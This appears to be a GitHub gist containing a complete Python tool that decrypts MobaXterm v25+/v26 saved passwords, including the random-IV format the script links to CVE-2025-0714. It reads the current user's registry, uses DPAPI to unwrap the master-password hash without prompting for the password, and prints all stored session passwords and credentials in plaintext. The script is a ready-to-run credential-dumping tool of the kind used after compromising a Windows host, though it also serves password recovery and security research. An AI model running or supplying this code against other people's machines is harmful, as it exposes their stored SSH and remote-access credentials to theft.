Skip to content

Instantly share code, notes, and snippets.

@kipavy
Created May 30, 2026 13:57
Show Gist options
  • Select an option

  • Save kipavy/910e7ddc8efea7aeb9202c0241486a1d to your computer and use it in GitHub Desktop.

Select an option

Save kipavy/910e7ddc8efea7aeb9202c0241486a1d to your computer and use it in GitHub Desktop.
MobaXterm v25+/v26 password decryptor
#!/usr/bin/env python3
"""
MobaXterm v25+/v26 password decryptor (handles CVE-2025-0714 random-IV format).
Older tools (HyperSine, XMCyber, clemthi) assume a fixed IV = AES-ECB(key, 0).
MobaXterm >= 25.0 switched to a random per-password IV stored inline. Format:
stored = "_@" + IV(16 chars) + base64(AES-256-CFB8(key, IV, password))
key = SHA512(master_password)[:32]
IV = the 16 ASCII characters right after the "_@" marker (used as the AES IV bytes)
body = base64-decode the FULL stored string (alphabet @->+, _->/), then drop the
first 15 bytes -> the CFB8 ciphertext of the password.
This script auto-derives the key from the DPAPI-protected master-password hash in the
registry (so you don't even need to type the master password), then decrypts the
P (session passwords) and C (credentials) subkeys.
Requires: pycryptodome (pip install pycryptodome)
Windows only (reads HKCU and uses DPAPI).
"""
import os, sys, platform, base64, hashlib, itertools, winreg, ctypes
from ctypes import wintypes
from Crypto.Cipher import AES
REG_BASE = r'Software\Mobatek\MobaXterm'
DPAPI_HEADER = bytes.fromhex('01000000d08c9ddf0115d1118c7a00c04fc297eb')
# ---- DPAPI (CryptUnprotectData) via Win32, with optional entropy ----
class DATA_BLOB(ctypes.Structure):
_fields_ = [('cbData', wintypes.DWORD), ('pbData', ctypes.POINTER(ctypes.c_char))]
def _blob(data: bytes) -> DATA_BLOB:
buf = ctypes.create_string_buffer(data, len(data))
return DATA_BLOB(len(data), ctypes.cast(buf, ctypes.POINTER(ctypes.c_char)))
def dpapi_unprotect(data: bytes, entropy: bytes) -> bytes:
pin, pent, pout = _blob(data), _blob(entropy), DATA_BLOB()
if not ctypes.windll.crypt32.CryptUnprotectData(
ctypes.byref(pin), None, ctypes.byref(pent), None, None, 0, ctypes.byref(pout)):
raise ctypes.WinError()
out = ctypes.string_at(pout.pbData, pout.cbData)
ctypes.windll.kernel32.LocalFree(pout.pbData)
return out
def derive_key_from_registry() -> bytes:
"""Derive the AES key from the DPAPI-protected master-password hash (no typing needed)."""
base = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_BASE)
session_p, _ = winreg.QueryValueEx(base, 'SessionP')
m = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_BASE + r'\M')
val, _ = winreg.QueryValueEx(m, os.getlogin() + '@' + platform.node())
blob = DPAPI_HEADER + base64.b64decode(val)
master_hash = dpapi_unprotect(blob, str(session_p).encode('utf-8'))
return base64.b64decode(master_hash)[:32]
def derive_key_from_password(master_password: str) -> bytes:
return hashlib.sha512(master_password.encode('utf-8')).digest()[:32]
def decrypt_value(key: bytes, stored: str) -> bytes:
"""Decrypt one MobaXterm v25+/v26 stored password string."""
if not stored.startswith('_@'):
# Old (<=v24) format: full string is base64 (@->+,_->/), fixed IV = ECB(key,0)
ct = base64.b64decode(stored, altchars=b'@_')
iv = AES.new(key=key, mode=AES.MODE_ECB).encrypt(b'\x00' * 16)
return AES.new(key=key, iv=iv, mode=AES.MODE_CFB, segment_size=8).decrypt(ct)
iv = stored[2:18].encode('latin1') # 16 chars after _@ = AES IV
body = base64.b64decode(stored, altchars=b'@_')[15:]
return AES.new(key=key, iv=iv, mode=AES.MODE_CFB, segment_size=8).decrypt(body)
def _decode(b: bytes) -> str:
try:
return b.decode('utf-8')
except UnicodeDecodeError:
return b.decode('latin1')
def enum_values(subkey: str):
try:
k = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_BASE + '\\' + subkey)
except FileNotFoundError:
return
for i in itertools.count(0):
try:
yield winreg.EnumValue(k, i)[:2]
except OSError:
break
def main():
if platform.system().lower() != 'windows':
sys.exit('Windows only.')
try:
key = derive_key_from_registry()
print('[+] AES key derived from registry master-password hash.\n')
except Exception as e:
pw = input('Could not auto-derive key (%s).\nEnter MobaXterm master password: ' % e)
key = derive_key_from_password(pw)
print('=== Session passwords (P) ===')
for name, value in enum_values('P'):
print(f' {name:<32} {_decode(decrypt_value(key, value))!r}')
creds = list(enum_values('C'))
if creds:
print('\n=== Credentials (C) ===')
for name, value in creds:
user, _, enc = value.partition(':')
print(f' {name:<20} user={user!r:<14} {_decode(decrypt_value(key, enc))!r}')
if __name__ == '__main__':
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment